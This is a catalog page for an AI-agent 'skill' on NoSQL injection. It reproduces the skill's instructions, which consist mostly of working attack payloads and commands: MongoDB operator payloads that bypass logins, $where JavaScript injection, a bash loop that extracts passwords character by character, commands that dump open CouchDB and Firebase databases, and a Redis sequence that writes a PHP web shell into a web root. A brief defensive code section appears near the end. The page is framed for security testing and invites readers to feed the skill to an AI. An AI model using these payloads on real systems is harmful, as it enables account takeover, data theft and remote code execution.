Skip to content
Skillpedia
Security6.5k Β· #14072

nosqli

What it does

This skill explains how NoSQL databases such as MongoDB can be abused when user input becomes part of a query. It is for security testers checking login and search features.

When to use it

  • βœ“When a login or search uses a MongoDB or similar database and accepts JSON input.
  • βœ“When a scan shows a database that may be open to unauthenticated reads.
  • βœ“When you want to check whether operator inputs can bypass a password check.

Skill link

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/nosqli/SKILL.md

Copy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.

How to use

The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.

Ready-to-paste message

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/nosqli/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
Want your AI to find skills like this on its own?Install the free Skillpedia MCP: one line, and it searches 15,000+ skills before each task.Install in 1 minute β†’

Example of what to ask your AI

β€œCan you check whether my app's login accepts special query operators instead of a password?”

5 new skills a week. 1 minute to read.

How it works

The agent sends JSON with operators such as not-equal or regex in place of plain values, then checks whether the response changes in a way that shows the query was altered.

Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

NoSQL Injection

NoSQL stores parse JSON / native objects. When user input becomes part of a query object (not just a value), control flows into the query.

1. MongoDB β€” most common target

Auth bypass

// Vulnerable: db.users.findOne({user: req.body.user, pass: req.body.pass})
POST /login
{"user": {"$ne": null}, "pass": {"$ne": null}}      // returns first user
{"user": "admin", "pass": {"$gt": ""}}              // admin if pw exists
{"user": "admin", "pass": {"$regex": "^A"}}         // blind char extraction

Server-side JS injection

{"$where": "this.user == 'admin' && sleep(5000)"}   // time-based
{"$where": "function() { return this.user.length > 0 && this.user.match(/^a/) }"}

$where was deprecated in Mongo 4.4 β€” still appears in legacy.

Operator extraction (blind)

# Burp Intruder w/ payload list
for char in {a..z}; do
  curl -s -X POST $TARGET/login \
    -d "{\"user\":\"admin\",\"pass\":{\"\$regex\":\"^${char}\"}}" \
    | grep -q "success" && echo "char: $char"
done

2. CouchDB

# Admin party (no auth required)
curl http://target:5984/_all_dbs
curl http://target:5984/_users/_all_docs
# Then read/modify any document

3. Firebase Realtime Database

# Public-read databases (most common misconfig)
curl https://YOUR-FIREBASE-PROJECT.firebaseio.com/.json
# Returns entire DB if rules are "true"

4. Redis

# Unauth Redis (still common on internal nets, occasionally exposed)
redis-cli -h target -p 6379 INFO
# Module loading attack if running as root + module dir writable
redis-cli -h target FLUSHALL
redis-cli -h target SET dir /var/www/html
redis-cli -h target SET dbfilename shell.php
redis-cli -h target SET payload "<?php system($_GET['c']); ?>"
redis-cli -h target SAVE

5. Tools

  • NoSQLMap β€” automated mongo injection (nosqlmap.py)
  • mongoaudit β€” config scanner
  • Burp Intruder w/ payloads/NoSQL Injection/ as wordlist
  • fuzzdb β€” has NoSQL payload variants

6. PoC

# Mongo auth bypass via curl
curl -s -X POST $TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$ne": null}, "password": {"$ne": null}}' \
  | jq

# If logged-in-as-admin β†’ critical

7. Severity

Bug Severity
Auth bypass via $ne Critical 9.8
Blind char extraction of all user data Critical 9.0
$where JS injection β†’ RCE-adjacent (mongo runs the JS) Critical 9.8
Public CouchDB / Firebase Critical (depends on data sensitivity)
Unauth Redis on internal net High 7-8

8. Defender

// Sanitize/typecheck before query
if (typeof req.body.user !== 'string') return res.status(400).send();
if (typeof req.body.pass !== 'string') return res.status(400).send();

// Or use parameterized queries / Mongo ODM (Mongoose schemas)
User.findOne({user: req.body.user}).select('+password');

// Disable $where globally
mongoose.set('strictQuery', true);

Cross-references

  • Upstream catalog: skills/_corpus/payloads/NoSQL Injection/
  • SQLi (different attack class, similar mindset): skills/exploit/web/sqli.md
FAQ

Which databases does it cover?

It focuses on MongoDB and also covers CouchDB, Firebase Realtime Database and Redis patterns.

Can it extract data without seeing results?

Yes, the skill describes blind extraction that works by checking one character at a time.

Does it cover server-side JavaScript?

Yes, it mentions the $where operator, which can run JavaScript in older MongoDB versions.

Details

Original description by the author

NoSQL injection β€” MongoDB operator injection ($ne, $gt, $where, $regex), CouchDB / Firebase / Redis attack patterns, auth bypass, blind extraction.

repo: BitterSecurity/Decepticon

Popularity

GitHub stars
6.5k
Ranking position
#14072
License
Apache-2.0
Updated
11/1/2026

Is this skill useful?

0

Sign in to vote.

Comments

  • …

More skills from this repository

Similar skills